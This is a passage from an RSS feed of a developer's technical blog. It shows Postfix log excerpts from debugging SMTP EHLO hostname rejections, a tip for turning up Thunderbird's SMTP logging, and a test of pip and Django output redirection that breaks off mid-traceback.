&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;211&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;169&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;190&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;90.&lt;/span&gt;&lt;span class="n"&gt;dyn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;estpak&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;90.190.169.211&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
  &lt;span class="mi"&gt;504&lt;/span&gt; &lt;span class="mf"&gt;5.5.2&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;yoga&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Helo&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt; &lt;span class="n"&gt;rejected&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;need&lt;/span&gt; &lt;span class="n"&gt;fully&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;qualified&lt;/span&gt; &lt;span class="n"&gt;hostname&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="nd"&gt;@localhost&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="nd"&gt;@gmx&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;proto&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;ESMTP&lt;/span&gt; &lt;span class="n"&gt;helo&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;yoga&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;29&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;49&lt;/span&gt; &lt;span class="n"&gt;xyz&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;944183&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;disconnect&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;211&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;169&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;190&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;90.&lt;/span&gt;&lt;span class="n"&gt;dyn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;estpak&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;90.190.169.211&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;ehlo&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="n"&gt;starttls&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;rcpt&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;rset&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;quit&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;commands&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;
&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;29&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;57&lt;/span&gt; &lt;span class="n"&gt;xyz&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtps&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;943972&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;warning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;unknown&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;194.169.175.10&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;SASL&lt;/span&gt; &lt;span class="n"&gt;LOGIN&lt;/span&gt; &lt;span class="n"&gt;authentication&lt;/span&gt; &lt;span class="n"&gt;failed&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;UGFzc3dvcmQ6&lt;/span&gt;
&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt; &lt;span class="n"&gt;xyz&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtps&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;943972&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;lost&lt;/span&gt; &lt;span class="n"&gt;connection&lt;/span&gt; &lt;span class="n"&gt;after&lt;/span&gt; &lt;span class="n"&gt;AUTH&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;unknown&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;194.169.175.10&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt; &lt;span class="n"&gt;xyz&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtps&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;943972&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;disconnect&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;unknown&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;194.169.175.10&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;ehlo&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;rset&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;commands&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Submit via quick_mail_test.py with EMAIL_USERNAME=””:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;02&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt; &lt;span class="n"&gt;xyz&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;945692&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;connect&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;211&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;169&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;190&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;90.&lt;/span&gt;&lt;span class="n"&gt;dyn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;estpak&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;90.190.169.211&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;02&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt; &lt;span class="n"&gt;xyz&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;945692&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;Anonymous&lt;/span&gt; &lt;span class="n"&gt;TLS&lt;/span&gt; &lt;span class="n"&gt;connection&lt;/span&gt; &lt;span class="n"&gt;established&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;211&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;169&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;190&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;90.&lt;/span&gt;&lt;span class="n"&gt;dyn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;estpak&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;90.190.169.211&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
  &lt;span class="n"&gt;TLSv1&lt;/span&gt;&lt;span class="mf"&gt;.3&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;cipher&lt;/span&gt; &lt;span class="n"&gt;TLS_AES_256_GCM_SHA384&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt; &lt;span class="n"&gt;bits&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;exchange&lt;/span&gt; &lt;span class="n"&gt;X25519&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;signature&lt;/span&gt; &lt;span class="n"&gt;RSA&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;PSS&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2048&lt;/span&gt; &lt;span class="n"&gt;bits&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;digest&lt;/span&gt; &lt;span class="n"&gt;SHA256&lt;/span&gt;
&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;02&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt; &lt;span class="n"&gt;xyz&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;945692&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;NOQUEUE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;reject&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;RCPT&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;211&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;169&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;190&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;90.&lt;/span&gt;&lt;span class="n"&gt;dyn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;estpak&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;90.190.169.211&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
  &lt;span class="mi"&gt;504&lt;/span&gt; &lt;span class="mf"&gt;5.5.2&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;yoga&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Helo&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt; &lt;span class="n"&gt;rejected&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;need&lt;/span&gt; &lt;span class="n"&gt;fully&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;qualified&lt;/span&gt; &lt;span class="n"&gt;hostname&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;noreply&lt;/span&gt;&lt;span class="nd"&gt;@saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="nd"&gt;@gmx&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;proto&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;ESMTP&lt;/span&gt; &lt;span class="n"&gt;helo&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;yoga&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;02&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt; &lt;span class="n"&gt;xyz&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;945692&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;disconnect&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;211&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;169&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;190&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;90.&lt;/span&gt;&lt;span class="n"&gt;dyn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;estpak&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;90.190.169.211&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;ehlo&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="n"&gt;starttls&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;rcpt&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;rset&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;quit&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;commands&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But then I had the idea to increase Thunderbird’s logging verbosity. Here is how
to do that:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Open &lt;span class="menuselection"&gt;Preferences ‣ Settings&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Search for “Config editor” and change &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;mailnews.smtp.loglevel&lt;/span&gt;&lt;/code&gt; from “Warn” to “All”&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Hit &lt;kbd class="kbd docutils literal notranslate"&gt;Ctrl&lt;/kbd&gt;+&lt;kbd class="kbd docutils literal notranslate"&gt;Shift&lt;/kbd&gt;+&lt;kbd class="kbd docutils literal notranslate"&gt;J&lt;/kbd&gt; to open the Error Console&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And there is the answer to my question: Thunderbird sends the following FQDN in the EHLO request:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;mailnews&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;smtp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;EHLO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;192.168.1.115&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;See also the two paragraphs in &lt;a class="reference external" href="https://hosting.lino-framework.org/email/#hg-email" title="(in Lino Hosting Guide)"&gt;&lt;span&gt;The email settings of a Lino site&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;section id="thanks-to"&gt;
&lt;h2&gt;Thanks to&lt;a class="headerlink" href="#thanks-to" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="http://khelearning168.blogspot.com/p/enabling-verbose-logs-default-mail-log.html"&gt;http://khelearning168.blogspot.com/p/enabling-verbose-logs-default-mail-log.html&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://realpython.com/python-send-email"&gt;https://realpython.com/python-send-email&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://aws.amazon.com/compare/the-difference-between-ssl-and-tls"&gt;https://aws.amazon.com/compare/the-difference-between-ssl-and-tls&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://wiki.mozilla.org/MailNews:Logging"&gt;https://wiki.mozilla.org/MailNews:Logging&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://docs.python.org/3/library/smtplib.html"&gt;https://docs.python.org/3/library/smtplib.html&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://blog.gitguardian.com/how-to-handle-secrets-in-python/"&gt;https://blog.gitguardian.com/how-to-handle-secrets-in-python/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0409.html</guid><pubDate>Tue, 09 Apr 2024 00:00:00 +0000</pubDate></item><item><title>Saturday, April 6, 2024</title><link>https://luc.lino-framework.org/blog/2024/0406.html</link><description>&lt;section id="saturday-april-6-2024"&gt;
&lt;h1&gt;Saturday, April 6, 2024&lt;a class="headerlink" href="#saturday-april-6-2024" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I made some test to check whether redirection to stderr and/or stdout work as
expected. It does so, perfectly.&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ pip install -U django
Requirement already satisfied: django in .../lib/python3.10/site-packages (5.0.4)
Requirement already satisfied: asgiref&amp;lt;4,&amp;gt;=3.7.0 in .../lib/python3.10/site-packages (from django) (3.7.2)
Requirement already satisfied: sqlparse&amp;gt;=0.3.1 in .../lib/python3.10/site-packages (from django) (0.4.2)
Requirement already satisfied: typing-extensions&amp;gt;=4 in .../lib/python3.10/site-packages (from asgiref&amp;lt;4,&amp;gt;=3.7.0-&amp;gt;django) (4.8.0)
$ pip install -U django &amp;gt; tmp.txt
$ cat tmp.txt
Requirement already satisfied: django in .../lib/python3.10/site-packages (5.0.4)
Requirement already satisfied: asgiref&amp;lt;4,&amp;gt;=3.7.0 in .../lib/python3.10/site-packages (from django) (3.7.2)
Requirement already satisfied: sqlparse&amp;gt;=0.3.1 in .../lib/python3.10/site-packages (from django) (0.4.2)
Requirement already satisfied: typing-extensions&amp;gt;=4 in .../lib/python3.10/site-packages (from asgiref&amp;lt;4,&amp;gt;=3.7.0-&amp;gt;django) (4.8.0)

$ pip install -U djangofoo
ERROR: Could not find a version that satisfies the requirement djangofoo (from versions: none)
ERROR: No matching distribution found for djangofoo
$ pip install -U djangofoo &amp;gt; tmp.txt
ERROR: Could not find a version that satisfies the requirement djangofoo (from versions: none)
ERROR: No matching distribution found for djangofoo
$ cat tmp.txt
$
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;When I deliberately introduce a mistake into &lt;cite&gt;settings.py&lt;/cite&gt; so that &lt;a class="reference external" href="https://dev.lino-framework.org/ref/commands/prep.html#command-pm-prep" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pm&lt;/span&gt;
&lt;span class="pre"&gt;prep&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; fails, then the traceback is sent to stderr (not to stdout):&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ go chatter
$ pm prep --noinput &amp;gt; tmp.txt
$ nano settings.py # (modify settings.py)
$ pm prep --noinput &amp;gt; tmp.txt
Traceback (most recent call last):
  File &amp;quot;.../projects/chatter/manage.py&amp;quot;, line 8, in &amp;lt;module&amp;gt;
    execute_from_command_line(sys.argv)
  File &amp;quot;.../lib/python3.10/site-packages/django/core/management/__init__.py&amp;quot;, line 442, in execute_from_command_line
    utility.execute()
  File &amp;quot;.../lib/python3.10/site-packages/django/core/management/__init__.py&amp;quot;, line 382, in execute
    settings.INSTALLED_APPS
  File &amp;quot;.../lib/python3.10/site-packages/django/conf/__init__.py&amp;quot;, line 89, in __getattr__
    self._setup(name)
  File &amp;quot;.../lib/python3.10/site-packages/django/conf/__init__.py&amp;quot;, line 76, in _setup
    self._wrapped = Settings(settings_module)
  File &amp;quot;.../lib/python3.10/site-packages/django/conf/__init__.py&amp;quot;, line 190, in __init__
    mod = importlib.import_module(self.SETTINGS_MODULE)
  File &amp;quot;/usr/lib/python3.10/importlib/__init__.py&amp;quot;, line 126, in import_module
    return _bootstrap._gcd_import(name[level:], package, level)
  File &amp;quot;&amp;lt;frozen importlib._bootstrap&amp;gt;&amp;quot;, line 1050, in _gcd_import
  File &amp;quot;&amp;lt;frozen importlib._bootstrap&amp;gt;&amp;quot;, line 1027, in _find_and_load
  File &amp;quot;&amp;lt;frozen importlib._bootstrap&amp;gt;&amp;quot;, line 1006, in _find_and_load_unlocked
